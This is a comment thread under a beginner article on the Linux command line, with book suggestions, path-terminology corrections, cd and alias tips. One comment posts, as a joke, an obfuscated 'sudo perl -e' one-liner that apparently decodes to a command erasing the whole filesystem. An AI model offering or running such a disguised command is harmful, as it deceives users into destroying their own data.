Pull to refresh

Comments 106

На эту тему есть хорошо написанная книга Скотта Граннемана "Linux. Карманный справочник" (http://www.ozon.ru/context/detail/id/3178480)
Так же на эту тему есть отличный курс на intuit'e, но как говориться документации не бывает много. И надеюсь мои старания хоть, кому-то будут полезны.
я эту книженцию всегда с собой таскаю в сумке с ноутом - часто выручала
Не в обиду сказано, но вспомнился боян про "Руководство по запуску Linux" на 900 страницах:) Жаль плюсануть не могу, хорошая книжка...
Консоль для даунов получается =)
Это настолько разжеванные команды, что сложно найти человека, который их не знает.

find и xargs в студию, как показывает практика, новичкам не хватает знания именно таких полезных команд. Или цикл for в командной строке.
Это обязательно будет (скорее всего завтра). Дело в том, что как-то пролетал пост "Консоль для новичков. Это не так страшно", так как раз таки раскритиковали, за то, что не описаны основы. Я же постарался начав с азов, а затем хочу перейти более плавно к вещам посложнее :)
Молодца!
Может наконец начну изучать Линукс с вашей помощью.
С уважением.
Ну вобщем будет прямо курс целый посвященный командной строке в Linux? Было бы замечательно. А то что начали с азов так это правильно, и критиковать тут нечего :-)
да, вы правы, хотя лишней эта статья совсем не является.

тоже хочу написать пост про циклы,find и awk, но отсутствие кармы не дает...чтож, будем набирать потихоньку :)
UFO just landed and posted this here
Спокойно дрейфовать по просторам ФС? При помощи ls, cd, pwd?!
Часть 2 cp, mv, rm, mkdir?
Часть 3 ln, touch, df?!
Часть 4 chown, chmod, chroot??!

Одно радует, find, grep, awk будут, скорее всего, уже завтра. Поймите мой сарказм правильно :(
Пожалуй, то, что вы разбили со второй, по четвертую часть я объеденю в одну :)
Хороший язык :) Я несколько продвинутый новичок, поэтому ничего нового, но написано хорошо =)
:) после этого новичек наберется сил почитать нормальный ман
К сожалению, у него это уже не получится.
Даже в шутку такого писать не стоит... кстати вы забыли сначала надо набрать su
Стоит отучится от этой вредной привычки :)
Лучше так :)
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
http://mydebianblog.blogspot.com/2008/04/unix.html и закроем эту тему.
Я бы начал со скриншота как попасть в эту саму консоль. ТОгда бы статья была бы полезна и тем у кого нет линукса, но кто планирует его ставить.
UFO just landed and posted this here
UFO just landed and posted this here
UFO just landed and posted this here
UFO just landed and posted this here
UFO just landed and posted this here
UFO just landed and posted this here
UFO just landed and posted this here
полкде ну никак не всписывается для меня.
я пользуюсь консолью из avant-window-navigator - тоже скрывается при активации фокуса на другое окно.
еще пробовал tilda - те же возможности - но как-то медленно она отзывалась на быструю клавишу.
Никаких пол KDE. Только kde-libs, если мне конечно память не изменяет.
UFO just landed and posted this here
Действительно удобная штука. Открывает\закрывает консоль по горячей клавише независимо от того, где фокус. Конечно на вкус и цвет сами знаете.
> Пути в Linux'e могу быть относительными и жесткими.
корректнее будет: относительными и абсолютными
жёсткими бывают ссылки, но не пути
Поправил. Спасибо за заметку.
UFO just landed and posted this here
нам не обязательно указывать ее жесткий буть
Исправте пожалуйста «буть» на “путь”.

Да и спасибо за статью, жду продолжения…
Исправил, спасибо за замечание.
Есть неплохая статья по mac терминалу
Собственно на линксе вс аналогично.
Что-то ссылка не запостилась: http://www.maccentre.ru/lib/2273/
UFO just landed and posted this here
можно подумать, что так трудно попасть в консоль? в линуксе? не шутите так
любой попадет туда на шаге 3-7 после инсталляции. правда я ставил дистры еще когда убунту вообще не было. так что может и устарел.
а вот задам вопрос для самых-самых, как заставить с иксах не работать CAPSLOCK? просто не работать. вообще не работать, никакого действия не делать.
у меня на капс повешено переключение раскладки, имхо удобнее чем ctrl+shift
кстати, дайте ссылок на тесты по линуксу? хочется себя проверить.
brainbench.com - бесплатный тест по одминству RHEL5
Кстати мой результат - http://www.brainbench.com/transcript.jsp?pid=7718976 так что я типа master ;)
Позвольте процитировать известное выражение: «Если вы знаете Slackware — вы знаете GNU/Linux. Если вы знаете Red Hat, то всё, что вы знаете, — это Red Hat».
Это ни в коем случае не призыв к холиворам.
Это очень хорошо, когда к командам дается расшифровка. Информация проще усваивается и запоминается.

cd - change directory.

Жду продолжения.
Люди, для которых интересен рассказ о команде cd, на данный сайт попали случайно.
зря вы так. есть люди, достаточно на хорошем уровне владеющие компьютером, которые всю жизнь работали/администрировали windows, а linux решили попробовать только недавно.
Если человек всю жизнь работал на виндовсе, то явно до начала этой жизни у него была ДОС, где без этой команды можно сделать мало чего. Да и из винды её никто не удалял. Я не могу себе представить человека, который бы АДМИНИСТРИРОВАЛ любую из ныне живущих систем и не был знаком с такой командой. "cd" есть и в винде, и в досе, и в юниксе, и в макосе, и даже в plan9, и вообще в любой ОС с иерархической файловой системой.
да, согласен=) но упомянуть, что "и в линуксе это так же", будет нелишним=)
Даже, если пользователь попал сюда с googl'a, где по запросу "Консоль для новичка" первая же ссылка ведет на эту статью - это не бесполезно!
Новичкам необходимо знать про автозаполнение. Tab. ;)
автодополнение. да, оч удобная штука, время экономит в разы :)
UFO just landed and posted this here
Постараюсь не забыть и гладко упомянуть об этом во второй части.
Методом научного тыка обнаружил, что в моей убунте dir работает также, как ls.
Dir это алиас. #alias dir='ls --color=auto --format=vertical'
И в правду, ее надо было дать в первой же части. Ну ничего, значит засунем во вторую ;)
напишу небольшой лайфхак дебианщика(сильно упрощает жизнь в консоли)
ln -s /usr/bin/apt-get /usr/bin/ag
ln -s /usr/bin/apt-cache /usr/bin/ac
Отказать. Любой хак должен иметь форму .deb пакета, переживающего апгрейд.
не стал юы так делать - очень неоптимально. лучше использовать алиасы:

echo "alias ag='apt-get' >>~/.bashrc
echo "alias ac='apt-cahe' >>~/.bashrc

этим сохранится переносимость после апгрейда и переустановки си-мы.
О, алиасах и в целом настройке командной строки планирую писать 3-й или 4-й статье.
а такие команды как mkdir , rm , chmod , su , shutdown -h now , exit .

По-моему без этой базы никак , ибо как работать с файлами без этих команд ???
Добавьте про cd ~ которая откуда бы нибыло возвращает домой да и вообще напишите что ~ заменяет домашний каталог и к ней спокойно можно обращаться
Кстати, cd без параметров возвращает в домашний каталог.
а например "cd -" переносит вас обратно в тот каталог, где вы были до выполнения команды cd:

$pwd
/var
$cd /tmp
$pwd
/tmp
$cd -
$pwd
/var

часто этим пользуюсь - удобно.
Да, обязательно укажу это во второй статье, между делом.
Хочу посоветовать книгу Кёрнигана и Пайка «Unix. Программное окружение», с неё я начал нормальное освоение линукса.
Хотелось бы почитать в следующих частях о более продвинутых вещах вроде поиска, grep, автозаполнению пути по tab и т.д. Новичкам, да и некоторым продвинутым будет полезно.
Я уже готовлю вторую часть.
А как же sed, locate, apropos? По sed не помешала бы большая развернутая статья. Думаю, что многим было бы интересно.
Статьи будут. Это же только первая часть. Часть действительно для новичков, последующие (2-я и 3-я) так же будут ориентированы на очень низкий уровень знаний.
столько много букв всего о 3-х коммандах. Этак вы в 12 томов не уложитесь одни GNU coreutils рассказать )
Стоило бы заметить, что разговор не только о командах, но попутно и о ключах, опциях, путях, алиасах. Очень трудно компактно уложить все азы. Первые три части будут расжованы... затем мелочи можно будет опускать, когда читатель сам спокойно сможет ориентироваться.
Пару лет назад немного репетиторствовал человеку основы UNIX на примере FreeBSD 5.x
Донести материал сложно, я тоже долго думал и искал как. В итоге, на мой взгляд, лучше всего ориентироваться на handbook FreeBSD.
В любом случае, удачи вам с этим на хабре.
В данный момент я ориентируюсь на свой опыт преподавателя. Преподавал курсы Linux'a в свою время.
Че все взъелись? Во-первых он сказал, что остальные основные команды будут в следующих частях, во-вторых, все команды на хабре перечилить не удастся, да и не нужно это. Кому всетаки хочется всего и сразу, тут уже насоветовали много нормально литературы. Или вы всерьез хотите научиться профессионально работать в консоли только по статьям с хабра?
полностью с вами согласен: нельзя в одной статье охватить все команды и приемы работы, более того - это категорически недопустимо.

мне иногда кажется, что некоторые люди просто не совсем осознают, для кого предназначается такого типа материалы - им все время хочется выкрикнуть "а я знаю еще и такую команды и такую ..и это умею, а вы не рассказали!..."
как будто первокурсник вуза зашел на урок к 7-классникам в школу :)

сабжевая статья меня оченнь порадовала и побудила к написанию своей, так что ISVir огромное спасибо от меня !
Конечно же очень приятно видеть хорошие отзывы о своих трудах :) Спасибо.
Зачем спамить? =)
Помоему слишком мало для части первой
а так для новичка сойдет "An A-Z Index of the Linux BASH command line"
UFO just landed and posted this here
большое спасибо за статью. начал изучения линукса ^_^
Sign up to leave a comment.

Articles